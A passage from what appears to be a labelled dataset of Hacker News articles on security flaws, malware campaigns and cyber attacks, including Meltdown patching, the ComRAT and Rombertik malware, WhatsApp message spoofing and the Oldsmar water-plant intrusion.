""Site Isolation makes it harder for untrusted websites to access or steal information from your accounts on other websites. Websites typically cannot access each other's data inside the browser, thanks to code that enforces the Same Origin Policy."" Google says.
Here's how to turn on Site Isolation:
Copy chrome://flags/#enable-site-per-process and paste it into the URL field at the top of your Chrome web browser, and then hit the Enter key.
Look for Strict Site Isolation, then click the box labelled Enable.
Once done, hit Relaunch Now to relaunch your Chrome browser.

Linux Distributions

The Linux kernel developers have also released patches for the Linux kernel with releases including versions 4.14.11, 4.9.74, 4.4.109, 3.16.52, 3.18.91 and 3.2.97, which can be downloaded from Kernel.org.

VMware and Citrix

A global leader in cloud computing and virtualisation, VMware, has also released a list of its products affected by the two attacks and security updates for its ESXi, Workstation and Fusion products to patch against Meltdown attacks.

On the other hand, another popular cloud computing and virtualisation vendor Citrix did not release any security patches to address the issue. Instead, the company guided its customers and recommended them to check for any update on relevant third-party software.

",Vulnerability
Exclusive - Source Code Spoofing with HTML5 and the LRO Character,https://thehackernews.com/2012/03/exclusive-source-code-spoofing-with.html,"Exclusive - Source Code Spoofing with HTML5 and the LRO Character

Article Written by John Kurlak for The Hacker News,He is senior studying Computer Science at Virginia Tech. Today John will teach us that How to Spoof the Source Code of a web page. For example, Open https://www.kurlak.com/john/source.html and Try to View Source Code of the Page ;-) Can you View ??

About eight months ago, I learned about HTML5's new JavaScript feature, history.replaceState(). The history.replaceState() function allows a site developer to modify the URL of the current history entry without refreshing the page. For example, I could use the history.replaceState() function to change the URL of my page in the address bar from ""https://www.kurlak.com/example.html"" to ""https://www.kurlak.com/example2.html"" When I first learned of the history.replaceState() function, I was both skeptical and curious.

First, I wanted to see if history.replaceState() supported changing the entire URL of a page, including the hostname. Fortunately, the developers were smart enough to prevent that kind of action. Next, I noticed that if I viewed the source code of a page after replacing the URL, it attempted to show the source code of the new page. I started brainstorming ways I could make the URL look the same but have a different underlying representation. Such a scenario would make it so that I could ""hide"" the source code of a page by masking it with another page. I remembered encountering a special Unicode character some time back that reversed all text that came after it. That character is called the ""right to left override"" (RLO) and can be produced with decimal code 8238.

I tried to create an HTML page, ""source.html,"" that would use history.replaceState() to replace the URL of the page with: [RLO] + ""lmth.ecruos"" (the reversed text of ""source.html""). When the browser rendered the new URL, the RLO character reversed the letters after it, making the browser display ""source.html"" in the address bar. However, when I went to view the source of the web page, my browser tried to view the source of ""‮lmth.ecruos"" instead (the characters, ""‮,"" are the ASCII representation of the hex codes used to represent the RLO character). Thus, I created a page, ""‮lmth.ecruos"" and put some ""fake"" source code inside. Now, when I went to ""source.html,"" the URL was replaced with one that rendered the same, and when I viewed the source of the page, it showed my ""fake"" source code.

The code I used for ""source.html"" was:


However, there was a downfall: if the user tried to type after the RLO character in the address bar, his or her text would show up backwards, a clear indication that something strange was going on. I brainstormed additional solutions. I soon found that there was also a ""left to right override"" (LRO) character. I discovered that placing the LRO character within text that is already oriented left to right does not do anything. I decided to add the LRO character to the end of my URL and used the following code:
Then, I simply had to create ""source.html‭"" and put my ""fake"" source code in it. It worked! Now the user could type normally without seeing anything funny.

However, this new code still has two downfalls.

The first downfall is that the script appears to work only for Google Chrome (I tested the script in Chrome 17.0.963.79 m). Firefox 11 escapes the RLO character, so the user sees ""%E2%80%AElmth.ecruos"" in the URL bar instead of ""source.html."" (I have had reports, however, that the ""exploit"" works in Firefox 11 on Linux. I have not yet confirmed those reports). Internet Explorer 9 does not yet support history.replaceState(), but apparently Internet Explore 10 will. Opera 11 and Safari 5 both show ""source.html"" in the address bar, but when I go to view the page source, both browsers bring up the code for the original ""source.html.""

The second downfall is that if the user tries to refresh the page, he or she will be taken to the fake HTML page. As far as I know, there is no sure way to prevent this side effect.

Finally, I would like to point out that this ""exploit"" is just a cool trick. It cannot be used to prevent someone from retrieving the source code of a web page. If a browser can access a page's source code, a human can access that page's source code.

Maybe someone else can think of a more interesting use of the trick. I hope you like it!

You can download both sample files Here
Submitted By : John Kurlak
Website: https://www.kurlak.com

",Vulnerability
Critical OS X Flaw Grants Mac Keychain Access to Malware,https://thehackernews.com/2015/09/mac-os-x-vulnerability.html,"Back in July, a security researcher disclosed a zero-day vulnerability in Mac OS X that allowed attackers to obtain unrestricted root user privileges with the help of code that even fits in a tweet.

The same vulnerability has now been upgraded to again infect Mac OS X machines even after Apple fixed the issue last month.

The privilege-escalation bug was once used to circumvent security protections and gain full control of Mac computers. Thanks to the environment variable DYLD_PRINT_TO_FILE Apple added to the code of OS X 10.10 Yosemite.

The vulnerability then allowed attackers to install malware and adware onto a target Mac, running OS X 10.10 (Yosemite), without requiring victims to enter system passwords.

However, the company fixed the critical issue in the Mac OS X 10.11 El Capitan Beta builds as well as the latest stable version of Mac OS X – Version 10.10.5.

Mac Keychain Flaw

Now, security researchers from anti-malware firm MalwareBytes spotted the updated version of the same highly questionable malicious installer is now accessing user's Mac OS X keychain without user's permission.

Once executed, the updated installer throws an installer request that asks for permission to access the user's OS X keychain.

The installer automatically simulates a click on the ""Allow"" button as soon as it appears, which allows it to gain access to the Safari Extensions List, said MalwareBytes researcher Thomas Reed.

This allows the malicious installer to install a Genieo Safari extension. The entire process of installing a malicious extension and gain access to OS X keychain takes just a fraction of a second.

You're Totally Screwed Up

However, the more worrisome part is that the installer could easily be modified to grant attackers access to other data from the keychain alongside passwords for user's Gmail account, iCloud account, and other important accounts.

Meanwhile, two security researchers from Beirut independently reported the Mac Keychain vulnerability on Tuesday, the same day Malwarebytes researchers disclosed their findings involving Genieo.

The technique works on Mac systems only when invoked by an app already installed on user's systems.

The issue is critical because the Mac keychain is supposedly the protected place for storing account passwords and cryptographic keys.

Apple has yet to respond to this latest issue. Until then, Mac users are advised to follow the standard security practices, such as do not download files from unknown or untrusted sources, and be wary of emails or websites that seem suspicious.

",Vulnerability
"Chinese APT Espionage campaign, dubbed 'Icefog' targeted Military contractors and Governments",https://thehackernews.com/2013/09/chinese-apt-espionage-campaign-dubbed.html,"Kaspersky Lab has identified another Chinese APT campaign, dubbed 'Icefog', who targeted Governmental institutions, Military contractors, maritime / shipbuilding groups, telecom operators, industrial and high technology companies and mass media.

The Hacking group behind the attack who carry out surgical hit and run operations, is an advanced persistent threat (APT) group, used a backdoor dubbed Icefog that worked across Windows and Mac OS X to gain access to systems.
""The Mac OS X backdoor currently remains largely undetected by security solutions and has managed to infect several hundred victims worldwide,"" the report (PDF) said.

This China-based campaign is almost two years old and follows the pattern of similar APT-style attacks where victims are compromised via a malicious attachment in a spear-phishing email, or are lured to a compromised website and infected with malware.
The attackers embed exploits for several known vulnerabilities (CVE-2012-1856 and CVE-2012-0158) into Microsoft Word and Excel documents.

Once a computer has been compromised, the hackers upload malicious tools and backdoors. They look for email account credentials, sensitive documents and passwords to other systems.

""We observed many victims in several other countries, including Taiwan, Hong Kong, China, USA, Australia, Canada, UK, Italy, Germany, Austria, Singapore, Belarus and Malaysia,"" the research team said.

There is no concrete evidence to confirm this was a nation-state sponsored operation, but based on where the stolen data were transferred to, Kaspersky wrote the attackers are assumed to be in China, South Korea and Japan.
In total, Kaspersky Lab observed more than 4,000 uniquely infected IPs and several hundred victims. They are now in contact with the targeted organizations as well as government entities in order to help them identify and eradicate the infections.

",Malware
New ComRAT Malware Uses Gmail to Receive Commands and Exfiltrate Data,https://thehackernews.com/2020/05/gmail-malware-hacker.html,"Cybersecurity researchers today uncovered a new advanced version of ComRAT backdoor, one of the earliest known backdoors used by the Turla APT group, that leverages Gmail's web interface to covertly receive commands and exfiltrate sensitive data.

""ComRAT v4 was first seen in 2017 and known still to be in use as recently as January 2020,"" cybersecurity firm ESET said in a report shared with The Hacker News. ""We identified at least three targets: two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region.""

Turla, also known as Snake, has been active for over a decade with a long history of the watering hole and spear-phishing campaigns against embassies and military organizations at least since 2004.

The group's espionage platform started off as Agent.BTZ, in 2007, before it evolved to ComRAT, in addition to gaining additional capabilities to achieve persistence and to steal data from a local network.

It is now known that earlier versions of Agent.BTZ were responsible for infecting US military networks in the Middle East in 2008. In recent years, Turla is said to have been behind the compromise of French Armed Forces in 2018 and the Austrian Foreign Ministry early this year.


Newer versions of ComRAT backdoor have since ditched Agent. BTZ's USB-stick infection mechanism in favor of injecting itself into every process of the infected machine and executing its primary payload in ""explorer.exe.""

What's New in ComRAT v4?

The ComRAT v4 (or ""Chinch"" by the malware authors), as the new successor is called, uses an entirely new code base and is far more complex than its earlier variants, according to ESET. The firm said the first known sample of the malware was detected in April 2017.

ComRAT is typically installed via PowerStallion, a lightweight PowerShell backdoor used by Turla to install other backdoors. In addition, the PowerShell loader injects a module called ComRAT orchestrator into the web browser, which employs two different channels — a legacy and an email mode — to receive commands from a C2 server and exfiltrate information to the operators.

""The main use of ComRAT is discovering, stealing, and exfiltrating confidential documents,"" the researchers said. ""In one case, its operators even deployed a .NET executable to interact with the victim's central MS SQL Server database containing the organization's documents.""


What's more, all the files related to ComRAT, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS).

The ""mail"" mode works by reading the email address and the authentication cookies located in the VFS, connecting to the basic HTML view of Gmail, and parsing the inbox HTML page (using Gumbo HTML parser) to get the list of emails with subject lines that match those in a ""subject.str"" file in the VFS.

For each email that meets the above criteria, the comRAT proceeds by downloading the attachments (e.g. ""document.docx,"" ""documents.xlsx""), and deleting the emails to avoid processing them a second time.

Despite the "".docx"" and "".xlsx"" format in the filenames, the attachments are not documents themselves, but rather encrypted blobs of data that include a specific command to be executed: read/write files, execute additional processes, and gather logs.

In the final stage, the results of the command execution are encrypted and stored in an attachment (with the double extension "".jpg.bfe""), which is then sent as an email to a target address specified in the ""answer_addr.str"" VFS file.

The ""legacy"" mode, on the other hand, makes use of the already existing C2 infrastructure (ComRAT v3.x) to issue remote commands, the results of which are compressed and transmitted to a cloud service such as Microsoft OneDrive or 4Shared.

The exfiltrated data comprises user details and security-related log files to check if their malware samples were detected during a scan of the infected systems.

Based on the Gmail email distribution patterns over a one-month period, ESET said the operators behind the campaign are working in the UTC+3 or UTC+4 time zones.

""Version four of ComRAT is a totally revamped malware family released in 2017,"" ESET researcher Matthieu Faou said. ""Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn't rely on any malicious domain.""

",Cyber_Attack
Hackers Can Remotely Steal Fingerprints From Android Phones,https://thehackernews.com/2015/08/hacking-android-fingerprint.html,"Over a year ago I wrote an article on The Hacker News that warned of serious security concerns created by the iPhone and Android's Fingerprint authentication.

Till now hackers were impersonated simply by lifting prints off the side of a phone and gaining unauthorized access to user's phone and thus data.

However, security researchers have now discovered four new ways to attack Android devices to extract user fingerprints remotely without letting the user know about it.

The attack, which the researchers dubbed the ""Fingerprint Sensor Spying attack,"" could be used by hackers to ""remotely harvest fingerprints in a large scale,"" Yulong Zhang, one of the researchers told ZDNet.

Remotely Hacking Android Fingerprints

FireEye researchers Tao Wei and Yulong Zhang presented their research in a talk titled, Fingerprints on Mobile Devices: Abusing and Leaking, at the Black Hat conference in Las Vegas on Wednesday, where they outlined new ways to attack Android devices in an effort to extract user fingerprints.

The new attack is limited mostly to Android devices with Fingerprint Sensors that helps the user to authenticate their identity by simply touching their phone's screen, instead of by entering a passcode.

Researchers confirmed the attack on the HTC One Max and Samsung's Galaxy S5, which allowed them to stealthily obtain a fingerprint image from the device because vendors don't lock down fingerprint sensors well enough.

The attack affects mobile phones by major manufacturers including handsets delivered by Samsung, HTC, and Huawei.

Fingerprints vs. Passwords

If we give a thought, then stolen fingerprints would be an even worse scenario than stolen passwords because you can change your passwords when breached but not just replace your fingerprints.
""In this attack, victims' fingerprint data directly fall into attacker's hand. For the rest of the victim's life, the attacker can keep using the fingerprint data to do other malicious things,"" said Zhang.
The good news is that the issue is relatively easy to fix by adding encryption to the fingerprint data on Android devices, and affected vendors have since released patches after being alerted by the researchers.

Researchers have not shared any ""proof-of-concept"" detailing exactly how the fingerprint stealing attack can be executed remotely.

Meanwhile Apple users can just sit and relax, as it appears that iPhone and iPad's Touch ID is ""quite secure"" because it encrypts fingerprint data from the scanner with a crypto key, making it unreadable even if hackers gain access.

Users need to note that Google doesn't yet officially support fingerprints in its mobile operating system, but it will soon do support fingerprint sensors with the Android M update.

",Vulnerability
WhatsApp Flaw Lets Users Modify Group Chats to Spread Fake News,https://thehackernews.com/2018/08/whatsapp-modify-chat-fake-news.html,"WhatsApp, the most popular messaging application in the world, has been found vulnerable to multiple security vulnerabilities that could allow malicious users to intercept and modify the content of messages sent in both private as well as group conversations.

Discovered by security researchers at Israeli security firm Check Point, the flaws take advantage of a loophole in WhatsApp's security protocols to change the content of the messages, allowing malicious users to create and spread misinformation or fake news from ""what appear to be trusted sources.""

The flaws reside in the way WhatsApp mobile application connects with the WhatsApp Web and decrypts end-to-end encrypted messages using the protobuf2 protocol.

The vulnerabilities could allow hackers to misuse the 'quote' feature in a WhatsApp group conversation to change the identity of the sender, or alter the content of someone else's reply to a group chat, or even send private messages to one of the group participants (but invisible to other members) disguised as a group message for all.

In an example, the researchers were able to change a WhatsApp chat entry that said ""Great!""—sent by one member of a group—to read ""I'm going to die, in a hospital right now!""

It should be noted that the reported vulnerabilities do not allow a third person to intercept or modify end-to-end encrypted WhatsApp messages, but instead, the flaws could be exploited only by malicious users who are already part of group conversations.

Video Demonstration — How to Modify WhatsApp Chats
To exploit these vulnerabilities, the CheckPoint researchers—Dikla Barda, Roman Zaikin, and Oded Vanunu—created a new custom extension for the popular web application security software Burp Suite, allowing them to easily intercept and modify sent and received encrypted messages on their WhatsApp Web.

The tool, which they named ""WhatsApp Protocol Decryption Burp Tool,"" is available for free on Github, and first requires an attacker to input its private and public keys, which can be obtained easily ""obtained from the key generation phase from WhatsApp Web before the QR code is generated,"" as explained by the trio in a blog post.

""By decrypting the WhatsApp communication, we were able to see all the parameters that are actually sent between the mobile version of WhatsApp and the Web version. This allowed us to then be able to manipulate them and start looking for security issues.""
In the above-shown YouTube video, researchers demonstrated the three different techniques they have developed, which allowed them to:

Attack 1 — Changing a Correspondent's Reply To Put Words in Their Mouth

Using the Burp Suite extension, a malicious WhatsApp user can alter the content of someone else's reply, essentially putting words in their mouth, as shown in the video.

Attack 2 — Change the Identity of a Sender in a Group Chat, Even If They Are Not a Member
The attack allows a malicious user in a WhatsApp group to exploit the 'quote' feature—that lets users reply to a past message within a chat by tagging it—in a conversation to spoof a reply message to impersonate another group member and even a non-existing group member.

Attack 3 — Send a Private Message in a Chat Group But When The Recipient Replies, The Whole Group Sees It

The third WhatsApp attack allows a malicious group user to send a specially crafted message that only a specific person will be able to see. If the targeted individual responds to the same message, only then its content will get displayed to everyone in the group.

WhatsApp/Facebook Choose to Left Reported Attacks Unpatched

The trio reported the flaws to the WhatsApp security team, but the company argued that since these messages do not break the fundamental functionality of the end-to-end encryption, users ""always have the option of blocking a sender who tries to spoof messages and they can report problematic content to us.""
""These are known design trade-offs that have been previously raised in public, including by Signal in a 2014 blog post, and we do not intend to make any change to WhatsApp at this time,"" WhatsApp security team replied to the researchers.
Another argument WhatsApp shared with researchers, in context of why the company can not stop the modification of the message content—""This is a known edge case that relates to the fact that we do not store messages on our servers and do not have a single source of truth for these messages.""
""My point was the misinformation, and WhatsApp plays a vital role in our day activity. So, In my point of view they indeed have to fix these issues,"" CheckPoint researcher Roman Zaikin said.

""It's always functionality vs. security, and this time WhatsApp choose functionality.""
Since WhatsApp has become one of the biggest tools to spread fake news and misinformation, at least in countries with highly volatile political issues, we believe WhatsApp should fix these problems along with putting limits on the forwarded messages.

",Vulnerability
Air Traffic Control System Failure Caused by Memory Shortage - A Cyber Attack?,https://thehackernews.com/2014/05/air-traffic-control-system-failure.html,"A shortage of computer memory in the $2.4 billion Air Traffic Control System caused a Computer crash that resulted in the System collapse, according to an insider close to the incident.

The problems began on 30 April, when a U-2 spy plane flew over southwestern US caused the air traffic control system that manages the airspace around Los Angeles' LAX airport, built by Lockheed Martin, to crash due to which hundreds of flight delayed or cancelled two weeks ago.

""In theory, the same vulnerability could have been used by an attacker in a deliberate shut-down,"" security experts told Reuters. Now that the ""very basic limitation of the system"" is known, experts showed concerns about the cyber-attacks.

Sources claimed to Reuters that on April 30, 2014 the aircraft traffic failed to obtain the altitude information for a single U-2 spy plane which was flying over the area because a controller entered the altitude of the spook flight into the En Route Automation Modernisation (ERAM) system, developed by Lockheed Martin.

Lockheed Martin created the En Route Automation Modernization (ERAM) air traffic control system, claims it conducts ""robust testing"" on all its systems, so the shortage of altitude information in the U-2's flight plan caused the automated system to generate error messages and begin cycling through restarts.

I NEED MORE MEMORY
The system failure was caused due to the complex nature of the U-2's flight plan. The U-2's flight ERAM system failed because it limits how much data each plane can send it, however most of the aircraft have a simple flight plan do not exceed the limits as it restrict the data sent back to the ERAM.

While an air traffic controller entered the usual altitude for a U-2 plane i.e. about 60,000 feet, the system began to calculate all possible altitudes between ground level and infinity for the flight, in order to ensure the U-2 plane wasn't on a crash course with other aircrafts.

Now this process need ""a large amount of available memory and interrupted the computer's other flight-processing functions,"" according to a Federal Aviation Administration (FAA) spokesperson, Laura Brown.

As a result, the air traffic system was completely fails to access parts of the US skies from West Coast to Arizona and from Nevada to the Mexico border. No accidents or injuries were reported, however it caused inconvenience to thousands of passengers who had their flights delayed or cancelled.

In response, the FAA said it has changed the way traffic controllers obtain flight plan information and upgraded the computer systems with more memory, which should prevent similar episodes from occurring in the future.

A CYBER ATTACK?
Where some security experts say that the incident could be a part of cyber attack deliberately caused by hackers, others argue it would be impossible to recreate such specific conditions. Sources told Reuters that the original error is very difficult to replicate and added that there's no indication that it could be used to carry out any cyber attack.

But according to security experts, it could be a cyber attack and the failure appeared to have been made possible by the sort of routine programming mistake that should have been identified in testing before it was deployed.

Cyber attacks against physical infrastructure are becoming an interesting area for the hackers, however there are very few such activities seen in real scenario, the most famous among is Stuxnet case, used against uranium centrifuges in Iran.

",Cyber_Attack
Google Drive Vulnerability Leaks Users' Private Data,https://thehackernews.com/2014/07/google-drive-vulnerability-leaks-users_9.html,"Another privacy issue has been discovered in Google Drive which could have led sensitive and personal information stored on the cloud service exposed to unauthorized parties.

The security flaw has now patched by Google, but its discovery indicates that the vulnerability of cloud data when accessed via a link can allow ""anyone who has the link"" to access your private data without any further authentication.

HOW THE SECURITY FLAW WORKS
The security hole addressed a risk to files that included a clickable URL on your cloud file sharing service.

When someone opens the file and clicks on an embedded hyperlink, then they get sent to the website of a third-party website owner.

Upon accessing this URL, unfortunately the external Internet user - an unauthorized party - could potentially access your sensitive information by accessing the original documents that included the URL.

GOOGLE EXPLANATION
Google explained the actual nature of the security flaw in a blog post published last week. The company said that the flaw only affected a ""small subset of file types"" in Google Drive.

The security issue is relevant only if all four of these conditions apply:
The file was uploaded to Google Drive
The file was not converted to Docs, Sheets, or Slides (i.e., remained in its original format such as .pdf, .docx, etc.)
The owner changed sharing settings so that the document was available to ""anyone with the link""
The file contained hyperlinks to third-party HTTPS websites in its content
If all the above mentioned conditions applied, a user who clicked on the embedded hyperlink could have inadvertently sent header information to the administrator of the third-party websites, allowing him or her to potentially see the URL of the original document that linked to his or her site.

But Google assured its users that the newly shared documents with hyperlinks to third-party HTTPS websites, will not inadvertently relay the original document's URL.

HOW TO PROTECT YOURSELF
At the same time, If you've got any of yours previously shared documents that match any of those above four criteria, Google says you can generate a new and safe sharing link by following just three simple steps:
Create a copy of the document, via File > ""Make a copy...""
Share the copy of the document with particular people or via a new shareable link, via the ""Share"" button
Delete the original document
The security flaw is similar to Dropbox hyperlink disclosure vulnerability discovered earlier this year by Intralinks. The hyperlink disclosure vulnerability in the Dropbox led to the exposure of personal documents and all sorts of stuff such as such as tax returns, bank records, mortgage applications, blueprints, and business plans, stored in Dropbox that you would not want to disclose.

",Vulnerability
Zeus malware targeting BlackBerry and Android devices,https://thehackernews.com/2012/08/zeus-malware-targeting-blackberry-and.html,"Security researchers at Kaspersky Lab have discovered five new samples of the ZeuS-in-the-Mobile (ZitMo) malware package, targeting Android and BlackBerry devices.

Zitmo (Zeus in the mobile) is the name given to the mobile versions of Zeus, and it's been around for a couple of years already, mostly infecting Android phones. The Zitmo variant has reportedly been operating for at least two years targeting Android phones by masquerading as banking security application or security add-on.

ZitMo gets hold of banking information by intercepting all text messages and passing them on to attackers' own devices. It gets onto devices inside malicious applications, which users are duped into downloading. In this case, the malicious app was posing as security software called 'Zertifikat'.

Once installed, the packages forward all incoming SMS messages to one of two command and control numbers located in Sweden, with the aim of snaring secure codes and other data. Kaspersky found mobile users in Spain, Italy and Germany were targeted by these fresh variants, with two command and control (C&C) numbers found on Sweden's Tele2 operator.
""The analysis of new Blackberry ZitMo files showed that there are no major changes. Virus writers finally fixed grammar mistake in the 'App Instaled OK' phrase, which is sent via SMS to C&C cell phone number when smartphone has been infected. Instead of 'BLOCK ON' or 'BLOCK OFF' commands (blocking or unblocking all incoming and outgoing calls) now there are 'BLOCK' and 'UNBLOCK' commands. Other commands which are received via SMS remain the same."" Denis Maslennikov, a researcher at Kaspersky Lab.

The tactic is designed to help the criminals circumvent the out-of-band authentication systems used by many European banks, by hijacking the one-time password authentication password sent via SMS.

Earlier this year, Kaspersky warned of a set of malicious Android applications posing as security software. Zeus was sitting behind those apps, ready to siphon off text messages.

",Malware
Hacker Tried Poisoning Water Supply After Breaking Into Florida's Treatment System,https://thehackernews.com/2021/02/hacker-tried-poisoning-water-supply.html,"Hackers successfully infiltrated the computer system controlling a water treatment facility in the U.S. state of Florida and remotely changed a setting that drastically altered the levels of sodium hydroxide (NaOH) in the water.
During a press conference held yesterday, Pinellas County Sheriff Bob Gualtieri said an operator managed to catch the manipulation in real-time and restored the concentration levels to undo the damage.
""At no time was there a significant effect on the water being treated, and more importantly the public was never in danger,"" Sheriff Gualtieri said in a statement.
The water treatment facility, which is located in the city of Oldsmar and serves about 15,000 residents, is said to have been breached for approximately 3 to 5 minutes by unknown suspects on February 5, with the remote access occurring twice at 8:00 a.m. and 1:30 p.m.
The attacker briefly increased the amount of sodium hydroxide from 100 parts-per-million to 11,100 parts-per-million using a system that allows for remote access via TeamViewer, a tool that lets users monitor and troubleshoot any system problems from other locations.
""At 1:30 p.m., a plant operator witnessed a second remote access user opening various functions in the system that control the amount of sodium hydroxide in the water,"" the officials said.
Sodium hydroxide, also known as lye, is a corrosive compound used in small amounts to control the acidity of water. In high and undiluted concentrations, it can be toxic and can cause irritation to the skin and eyes.
It is not immediately known if the hack was done from within the U.S. or outside the country. Detectives with the Digital Forensics Unit said an investigation into the incident is ongoing.
Although an early intervention averted more serious consequences, the sabotage attempt highlights the exposure of critical infrastructure facilities and industrial control systems to cyberattacks.
The fact that the attacker leveraged TeamViewer to take over the system underscores the need for securing access with multi-factor authentication and preventing such systems from being externally accessible.
""Manually identify software installed on hosts, particularly those critical to the industrial environment such as operator workstations — such as TeamViewer or VNC,"" said Dragos researcher Ben Miller. ""Accessing this on a host-by-host basis may not be practical but it is comprehensive.""
""Remote access requirements should be determined, including what IP addresses, what communication types, and what processes can be monitored. All others should be disabled by default. Remote access including process control should be limited as much as possible.""

",Cyber_Attack
Rombertik Malware Destroys Hard Drives to Avoid Detection,https://thehackernews.com/2015/05/malware-destroy-hard-drive.html,"Security researchers have discovered a new strain of malware that makes use of extraordinary measures to evade detection and analysis, making the computer it infects unusable.

Dubbed Rombertik, which is ""unique"" among other self-destructing malware samples due to its unique evasion techniques. As soon as any analysis tool is detected, Rombertik attempts to delete the device's Master Boot Record (MBR) and home directories, making the machine constantly restart.

Rombertik is a complex piece of spyware designed to ""indiscriminately"" collect everything a user does online in order to obtain victim's login credentials and other confidential information.

Infects users via Phishing campaign:

Rombertik typically gets installed on vulnerable machines when users click on malicious attachments included in phishing emails, Cisco security researchers Ben Baker and Alex Chiu said in a blog post Monday.

Once loaded into the system, Rombertik first runs a series of anti-analysis checks to determine if it is running within a sandbox.

In case it isn't running within the sandbox, Rombertik decrypts and installs itself on the victim's machine, which then allows the malware to launch a second copy of itself and overwrite the second copy with the malware's core spying functionality.

Here's the kicker:

After completing this process and before begins spying on users, Rombertik runs a final check to make sure it is not being analyzed in memory. In case it finds any indication of being analyzed, the spyware attempts to destroy the master boot record (MBR) of the vulnerable computer.

Rombertik then restarts the machine, and because now the MBR is missing from the hard drive, the victim's computer will go into an endless restart loop.

MBR is the first sector of a computer's hard drive that the system looks for before loading the operating system. However, deleting or destroying MBR involves re-installing of operating system, which means valuable data is lost.

In cases where the malware is under the microscope of security experts or any rival malware author, Rombertik will self-destruct itself, taking the contents of a victim's hard drive along with it.

Security researchers reverse-engineered the malware and found that Rombertik contains volumes of ""garbage code"" that have to be analyzed. The researchers were able to capture a small sample and found that…

...the unpacked Rombertik sample was 28KB in size while the packed version is 1264KB, including 75 images and 8,000 functions that are never used.

Rombertik other Tricks involve:

Moreover, Rombertik keeps itself in sandboxes by writing a random byte of data to memory 960 million times in an effort to overwhelm analysis tools that try to detect malware by logging system activity.
""If an analysis tool attempted to log all of the 960 million write instructions, the log would grow to over 100 gigabytes,"" researchers explained in a blog post.
""Even if the analysis environment was capable of handling a log that large, it would take over 25 minutes just to write that much data to a typical hard drive. This complicates the analysis.""
Data wiping and Self-destructing malware:

Data wiping and self-destructing malware are not new. In last three years, we have seen a hike in malware evasion capabilities.

Wiper malware was used against South Korean banks and TV broadcasters in 2013 as well as against Sony Pictures Entertainment last year, which marked history in a massive data breach.

Also last year, the German Aerospace Centre was targeted by a self-destructive malware in an espionage attack, believed to be conducted by China.

TIP
The best way to keep your systems away from such malware is to have a best antivirus for PCs, as well as avoid opening malicious or suspicious links served via phishing emails.

",Malware
Apple's Find My Network Can be Abused to Exfiltrate Data From Nearby Devices,https://thehackernews.com/2021/05/apples-find-my-network-can-be-abused-to.html,"Latest research has demonstrated a new exploit that enables arbitrary data to be uploaded from devices that are not connected to the Internet by simply sending ""Find My"" Bluetooth broadcasts to nearby Apple devices.
""It's possible to upload arbitrary data from non-internet-connected devices by sending Find My [Bluetooth Low Energy] broadcasts to nearby Apple devices that then upload the data for you,"" Positive Security researcher Fabian Bräunlein said in a technical write-up disclosed last week.
The study builds on a previous analysis by TU Darmstadt published in March 2021, which disclosed two distinct design and implementation flaws in Apple's crowdsourced Bluetooth location tracking system that could lead to a location correlation attack and unauthorized access to a user's location history of the past seven days.
The investigation was augmented by the release of a framework called OpenHaystack that's designed to let any user create an ""AirTag,"" enabling individuals to track personal Bluetooth devices via Apple's massive Find My network.
But the reverse engineering of Apple's Find My offline finding system also left the door open to the possibility that the protocol could be emulated to upload arbitrary data to the Internet by broadcasting the information via Bluetooth beacons that would get picked up by Apple devices in close physical proximity, and then subsequently relay the encrypted data to Apple's servers, from where a macOS application can retrieve, decode, and display the uploaded data.
One of the core aspects of Find My is its rotating key scheme consisting of a pair of public-private keys that are deterministically changed every 15 minutes, with the public key sent within the Bluetooth Low Energy advertisement packet.
Thus when nearby Apple devices such as MacBooks, iPhones, and iPads receive the broadcast, they fetch their own location, then encrypt the location using the aforementioned public key before sending the encrypted location report to iCloud along with a hash of the public key. In the final step, the owner of the lost device can use a second Apple device signed in with the same Apple ID to access the approximate location.
The encryption protections mean that not only does Apple not know which public keys belong to a specific lost device or AirTag, it also doesn't have any knowledge of which location reports are intended for a specific user — hence the above Apple ID requirement. ""The security solely lies in the encryption of the location reports: The location can only be decrypted with the correct private key, which is infeasible to brute force and only stored on the paired Owner Device,"" Bräunlein said.
The idea, therefore, is to exploit this gap by encoding a message into the broadcast payloads and then obtaining them on the other end using a data fetcher component based on OpenHaystack that decrypts and extracts the information transmitted from the sender device, say, a microcontroller.
""When sending, the data is encoded in the public keys that are broadcasted by the microcontroller. Nearby Apple devices will pick up those broadcasts and forward the data to an Apple backend as part of their location reporting. Those reports can later be retrieved by any Mac device to decode the sent data,"" Bräunlein explained.
While malicious real-world implications of such an exploit may seem moot, it's also difficult for Apple to defend against an attack of this kind due to the inherent end-to-end encrypted nature of the Find My network.
To counter any potential misuse, the researcher suggests hardening the system in two possible ways, including authenticating the BLE advertisement and applying rate limits on-location report retrievals by caching the hashes and ensuring that the only ""16 new key ids are queried per 15 minutes and Apple ID."" It's worth noting that there is a limit of 16 AirTags per Apple ID.
""In the world of high-security networks, where combining lasers and scanners seems to be a noteworthy technique to bridge the air gap, the visitor's Apple devices might also become feasible intermediaries to exfiltrate data from certain air gapped systems or Faraday caged rooms,"" Bräunlein said.

",Malware
Chinese search engine Baidu launches free Antivirus Suite,https://thehackernews.com/2013/03/chinese-search-engine-baidu-launches.html,"Chinese search engine Baidu has just launched a security product called Baidu Antivirus 2013. Described as a ultra light weight, easy to use, extremely fast anti-virus program that promises to protect your system from malware, viruses, spyware, adware and other malicious programs.
Most interesting thing is that Baidu Antivirus comes only in English. Back in January, Baidu launched Baidu PC Faster, a software suite designed to fix speed and performance issues.

The program combines the Baidu Antivirus Engine and Baidu Cloud Security Engine with the Avira Antivirus engine to provide you with complete protection against all online threats.

""Baidu Antivirus offers an easy to use interface with several advanced configuration options as well as quarantine of infected files. It also has an extremely small memory footprint, so you can actually do other things while it is running on your computer. Other features include automatic updates, Host Intrusion Prevention System (HIPS), scan reports and more."" description reads.

You can download Baidu Antivirus 2013 here and please note that, its a Chinese product, so use at your own risk !

",Malware
Hackers threaten to take down Xbox Live and PSN on Christmas Day,https://thehackernews.com/2016/12/christmas-ddos-attack.html,"Bad news for gamers!

It's once again the time when most of you will get new PlayStations and XBoxes that continue to be among the most popular gifts for Christmas, but possibilities are you'll not be able to log into the online gaming console, just like what happens on every Christmas holidays.

On 2014 Christmas holidays, the notorious hacker group Lizard Squad knocked the PlayStation Network and Xbox Live offline for many gamers by launching massive DDoS attacks against the gaming networks.

